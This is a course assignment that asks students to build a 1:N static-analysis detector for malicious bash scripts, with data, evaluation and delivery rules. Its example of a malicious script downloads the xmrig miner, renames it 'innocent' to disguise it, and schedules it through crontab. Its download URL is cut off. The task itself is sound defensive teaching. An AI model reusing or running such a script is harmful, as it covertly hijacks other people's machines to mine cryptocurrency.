Task 2 –1:N Static analysis

Bash Background

Bash is shell scripting language. Command-line interface used in Unix-based operating systems such as Linux and macOS. Bash is mostly used by developers / IT / DevOps / etc.

```bash
#!/bin/bash

# Welcome message for the class

echo "Welcome to our class!"

# Get the name of the user

echo "Please enter your name:"
read name

# Print a personalized greeting

echo "Welcome, $name! "
```

Some usage examples:

- System administrators - automate routine tasks: backups, system updates, and log file analysis.
- Developers - build and deploy software, automate testing, and perform code analysis.
- DevOps - automate infrastructure management: servers and service configurations, application deployments.

Malicious bash scripts

In practice these are malwares used to harm UNIX based OS's.

Since bash enables almost any action on the OS, they can be used for any malicious purpose. Adversary usages include steal sensitive data, install malwares, control the infected system and more.

```bash
#!/bin/bash

# Download xmrig from GitHub
wget https://github.com/xmrig/xmrig/releases/download/v6.15.

# Extract the xmrig archive
tar -xzf xmrig-6.15.2-linux-x64.tar.gz

# Navigate into the xmrig directory
cd xmrig-6.15.2

# rename miner
mv xmrig innocent

# Add a new crontab entry to run the xmrig every 10 minutes
(crontab -l ; echo "*/10 * * * * ./innocent &") | crontab -
```

Example of 1: N static analysis methods (more detailed information in slides) -

- Partial cryptographic hash
- Yara rules
- Image Hashing
- Piece-wise hashing
- Fuzzy hashing
- ML
- etc..

Guidelines

General

Groups – same as task 1.

Due Date – 28.06.2023

Data

- 2989 malicious – downloaded from threat intelligence platform
  (**The samples are malicious – make sure not to run them.**)
  - samples are Password-protected (pwd: infected)
- 19234 benign samples – downloaded from github

Evaluation

- Accuracy performance – tested on validation set (not published)
- Resource performance
  - Memory - what is the N (size of the blacklist)
  - CPU usage and response time – what is the efficiency of the 1->N technique.
- Layered design – there is no need to implement it – it is a proposal for your visionary solution.

Delivery

- Archive containing the report (pdf) and single jupyter notebook (ipynb)
- Archive name - ID numbers with '_' between them, e.g. – (first_id_num)_(second_id_num).zip.

Please note, the 1:N signature matching technique need to expose an single API function with the following prototype –

def predict_file (file_path : str) -> bool

(a function named "predict_file" that's receives file_path and return Boolean value – True for malicious, False for Benign)

Recommendations

Read at-lets one detailed blog/paper for each of the relevant methods

Create baselines! You must compare your solution to something

Keep in mind – you should consider at all time two sets of measures: engineering [memory, response time, CPU usage] and accuracy performance [in the case of layered solution, the layers complement each other on recall first, precision second]

Evaluation

- Report (80%) (this is a baseline layout of report structure, any changes are acceptable)
    - Problem formulation;
    - 1->N methods literature review and baseline selection;
    - Data set description;
    - Exploratory data analysis (EDA);
    - Proposed methods 1->N signature matching -> make sure to keep it as detailed as possible. We wish to understand your motivations;
    - Feature selection, extraction and engineering;
    - Experimental results (including benign samples);
    - Limitations and Discussion
- Performance (10%)
    - Evaluation should include accuracy; memory and/or response time
- The layered design (10%)
    - Design should consider engineering and security performance measures